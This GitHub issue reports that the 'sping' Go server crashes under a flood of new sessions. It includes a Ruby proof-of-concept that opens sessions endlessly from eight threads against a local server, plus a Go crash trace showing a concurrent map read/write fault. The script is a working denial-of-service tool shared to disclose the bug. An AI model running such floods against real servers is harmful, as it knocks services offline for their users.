Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Crash with many new sessions #19

Open
marek22k opened this issue Nov 7, 2023 · 0 comments
Open

Crash with many new sessions #19

marek22k opened this issue Nov 7, 2023 · 0 comments

Comments

@marek22k
Copy link

marek22k commented Nov 7, 2023

Hello,

If an attacker requests a large number of new sessions, the server crashes after quite a lot of memory has been requested.
Attack script:

require 'socket'

vhost = "127.0.0.1"
vport = 6924

class TCPHandshakeError < StandardError; end

threads = []

8.times do
    threads << Thread.new(vhost, vport) do |vhost, vport|
        loop do
            begin
                socket = TCPSocket.new vhost, vport
                banner = socket.readpartial 9001
                if banner.length > 9000
                    socket.close
                    raise TCPHandshakeError, 'Host banner too big'
                end

                if ! banner.start_with? 'sping-0.3-'
                    socket.close
                    raise TCPHandshakeError, 'Host banner not sping'
                end

                socket.write "INVITE\r\n"
                socket.flush

                inviteBuf = socket.readpartial 32
                if inviteBuf.length > 31 || inviteBuf.length.zero?
                    socket.close
                    raise TCPHandshakeError, 'Invite banner wrong size'
                end

                session_id = inviteBuf.chomp.to_i

                puts "We got a new session id #{session_id}."

                socket.close
            rescue TCPHandshakeError => e
                warn "Error: #{e.message}"
            end
        end
    end
end

threads.each &:join

Log (excerpt):

$./sping 
2023/11/07 11:17:00 Listening on[::]:9523
fatal error: concurrent map read and map write

goroutine 224642 [running]:
main.handleTCPconnection({0x949400?, 0xc00011bca0})
	/home/marek/sping/sessionhandle.go:195 +0x356
created by main.listenOnTCP
	/home/marek/sping/sessionhandle.go:154 +0x125

goroutine 1 [sleep]:
time.Sleep(0x3b9a5c5f)
	/usr/lib/go-1.19/src/runtime/time.go:195 +0x135
main.main()
	/home/marek/sping/main.go:63 +0x29b

goroutine 7 [IO wait]:
internal/poll.runtime_pollWait(0x7f0d6638a598, 0x72)
	/usr/lib/go-1.19/src/runtime/netpoll.go:305 +0x89
internal/poll.(*pollDesc).wait(0xc0002a0000?, 0x6?, 0x0)
	/usr/lib/go-1.19/src/internal/poll/fd_poll_runtime.go:84 +0x32
internal/poll.(*pollDesc).waitRead(...)
	/usr/lib/go-1.19/src/internal/poll/fd_poll_runtime.go:89
internal/poll.(*FD).Accept(0xc0002a0000)
	/usr/lib/go-1.19/src/internal/poll/fd_unix.go:614 +0x234
net.(*netFD).accept(0xc0002a0000)
	/usr/lib/go-1.19/src/net/fd_unix.go:172 +0x35
net.(*TCPListener).accept(0xc0002a4000)
	/usr/lib/go-1.19/src/net/tcpsock_posix.go:142 +0x28
net.(*TCPListener).Accept(0xc0002a4000)
	/usr/lib/go-1.19/src/net/tcpsock.go:288 +0x3d
main.listenOnTCP()
	/home/marek/sping/sessionhandle.go:149 +0x99
created by main.main
	/home/marek/sping/main.go:36 +0x191

goroutine 8 [IO wait]:
internal/poll.runtime_pollWait(0x7f0d6638a688, 0x72)
	/usr/lib/go-1.19/src/runtime/netpoll.go:305 +0x89
internal/poll.(*pollDesc).wait(0xc00020a000?, 0xc000210000?, 0x0)
	/usr/lib/go-1.19/src/internal/poll/fd_poll_runtime.go:84 +0x32
internal/poll.(*pollDesc).waitRead(...)
	/usr/lib/go-1.19/src/internal/poll/fd_poll_runtime.go:89
internal/poll.(*FD).ReadFromInet6(0xc00020a000, {0xc000210000, 0x2710, 0x2710}, 0x7f0d68717fff?)
	/usr/lib/go-1.19/src/internal/poll/fd_unix.go:277 +0x1e5
net.(*netFD).readFromInet6(0xc00020a000, {0xc000210000?, 0x0?, 0x0?}, 0x1?)
	/usr/lib/go-1.19/src/net/fd_posix.go:72 +0x29
net.(*UDPConn).readFrom(0xc000066800?, {0xc000210000?, 0x0?, 0x1010000000003?}, 0xc0002040c0)
	/usr/lib/go-1.19/src/net/udpsock_posix.go:59 +0x85
net.(*UDPConn).readFromUDP(0xc00020e000, {0xc000210000?, 0x44ed52?, 0x2710?}, 0x809480?)
	/usr/lib/go-1.19/src/net/udpsock.go:149 +0x31
net.(*UDPConn).ReadFrom(0x891d58?, {0xc000210000, 0x2710, 0x2710})
	/usr/lib/go-1.19/src/net/udpsock.go:158 +0x50
main.listenAndRoute()
	/home/marek/sping/main.go:230 +0x10a
created by main.main
	/home/marek/sping/main.go:37 +0x19d

goroutine 9 [sleep]:
time.Sleep(0xdf8475800)
	/usr/lib/go-1.19/src/runtime/time.go:195 +0x135
main.sessionGC()
	/home/marek/sping/main.go:121 +0x45
created by main.main
	/home/marek/sping/main.go:50 +0x1e6

[...]

goroutine 224643 [select]:
main.(*session).waitForHandshake(0xc037400000)
	/home/marek/sping/sessionhandle.go:205 +0xc5
created by main.handleTCPconnection
	/home/marek/sping/sessionhandle.go:195 +0x39b

goroutine 224627 [runnable]:
main.handleTCPconnection.func2()
	/home/marek/sping/sessionhandle.go:195
runtime.goexit()
	/usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1
created by main.handleTCPconnection
	/home/marek/sping/sessionhandle.go:195 +0x39b

goroutine 224645 [runnable]:
main.handleTCPconnection.func2()
	/home/marek/sping/sessionhandle.go:195
runtime.goexit()
	/usr/lib/go-1.19/src/runtime/asm_amd64.s:1594 +0x1
created by main.handleTCPconnection
	/home/marek/sping/sessionhandle.go:195 +0x39b

Full Log:
sping.txt

In my test, the Go server withstood the attack for about 20 seconds.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant